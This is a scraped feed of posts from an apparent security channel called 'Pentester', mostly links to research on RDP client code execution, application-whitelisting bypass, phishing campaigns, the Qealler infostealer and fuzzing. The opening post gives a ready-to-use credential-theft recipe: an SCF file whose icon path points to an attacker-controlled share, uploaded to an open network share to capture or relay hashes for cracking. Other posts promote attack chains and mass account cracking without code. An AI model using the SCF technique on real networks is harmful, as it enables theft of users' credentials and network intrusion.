Pentester

Need creds on a local network? Found an open network share?

1) Create an scf file with the following:
[Shell] Command=2 IconFile=\\X.X.X.X\share\test.ico
[Taskbar] Command=ToggleDesktop
2) Upload to the share.
3) Run your capture tool or relay creds.
4) Wait, crack hash, enjoy

57 views06:21

Pentester

Automation In Red Teaming – Red Teaming with a Blue Team Mentaility – Medium
https://medium.com/red-teaming-with-a-blue-team-mentaility/automation-in-red-teaming-32363e3a50d

Medium

Automation In Red Teaming

The offensive security community is advancing rapidly. With platforms such as Twitter along with several widely used blogging sites…

46 views06:32

Pentester

Mass Cracking Cybrary Accounts – Somdev Sangwan
https://s0md3v.github.io/mass-cracking-cybrary-accounts/

49 views04:52

Pentester

Reverse RDP Attack: Code Execution on RDP Clients - Check Point Research
https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/

Check Point Research

Reverse RDP Attack: Code Execution on RDP Clients - Check Point Research

Research by: Eyal Itkin Overview Used by thousands of IT professionals and security researchers worldwide, the Remote Desktop Protocol (RDP) is usually considered a safe and trustworthy application to connect to remote computers. Whether it is used to help…

56 views05:08

Pentester

Phishing Campaigns are Manipulating the Windows Control Panel Extension to Deliver Banking Trojans - Cofense
https://cofense.com/phishing-campaigns-manipulating-windows-control-panel-extension-deliver-banking-trojans/

Cofense

Phishing Campaigns are Manipulating the Windows Control Panel Extension to Deliver Banking Trojans - Cofense

By Aaron Riley and Marcel Feller CISO Summary Recently, CofenseTM has seen phishing campaigns that bypass email security using a .cpl file extension attachment. .CPL is the file name extension for items or icons appearing in the Windows Control Panel. These…

48 views18:07

Pentester

Notes on fuzzing ImageMagick and GraphicsMagick - The Blagoblag
https://alexgaynor.net/2019/feb/05/notes-fuzzing-imagemagick-graphicsmagick/

57 views19:40

Pentester

Bypass Application Whitelisting using Weak Path Rule
https://www.hackingarticles.in/bypass-application-whitelisting-using-weak-path-rule/

Hacking Articles

Bypass Application Whitelisting using Weak Path Rule

Learn how to bypass application whitelisting security by exploiting weak path rules in Windows environments for penetration testing.

43 views04:10

Pentester

Qealler – a new JAR-based information stealer | Zscaler Blog
https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer

Zscaler

Qealler – a new JAR-based information stealer

Zscaler ThreatLabZ has observed a rise in the malware's activity, which was detected in the Zscaler Cloud Sandbox. "Qealler" a new piece of malware, is written in Java and designed to silently steal credentials in infected machines. Read more.

53 views04:13

Pentester

Clever Phishing Attack Enlists Google Translate to Spoof Login Page | Threatpost | The first stop for security news
https://threatpost.com/clever-phishing-attack-enlists-google-translate-to-spoof-facebook-login-page/141571/

Threat Post

Clever Phishing Attack Enlists Google Translate to Spoof Login Page

A tricky two-stage phishing scam is targeting Facebook and Google credentials using a landing page that hides behind Google's translate feature.

52 views04:13

Pentester

[PoC] [CVE-2018-18354] Chrome remote code execution attack chain

Ignore Sandbox , Ignore Applock , Ignore download restriction
combined 3 bugs into logical vulnerability attack chain

https://t.co/IUWnx1mgZM

48 views16:30

Pentester

How Android Q improves privacy and permission controls over Android Pie
https://www.xda-developers.com/android-q-privacy-permission-controls/

XDA Developers

How Android Q improves Privacy and Permission Controls over Android Pie

Android Q will bring a revamp to permission management and enhancements to protect user privacy. Here's what Google has changed since Android Pie.

41 views17:24

Pentester

ClusterFuzz, an infrastructure used for fuzzing Chrome and OSS-Fuzz, is open source now! Enjoy responsibly :)
Blog: https://t.co/v6ywgccmRH
Code: https://t.co/lO9ACd7FY8

Google Open Source Blog

Open sourcing ClusterFuzz

The latest news from Google on open source releases, major projects, events, and student outreach programs.

37 views04:33

Pentester

Remote Code Execution via Path Traversal in the Device Metadata Authoring Wizard
https://posts.specterops.io/remote-code-execution-via-path-traversal-in-the-device-metadata-authoring-wizard-a0d5839fc54f

Medium

Remote Code Execution via Path Traversal in the Device Metadata Authoring Wizard

Attackers can use the .devicemanifest-ms and .devicemetadata-ms file extensions for phishing if the Windows Driver Kit is installed.

45 views04:53

Pentester

DnsCache. reference example for how to call the Windows API to enumerate cached DNS records in the Windows resolver
https://t.co/YDhPvp9LKU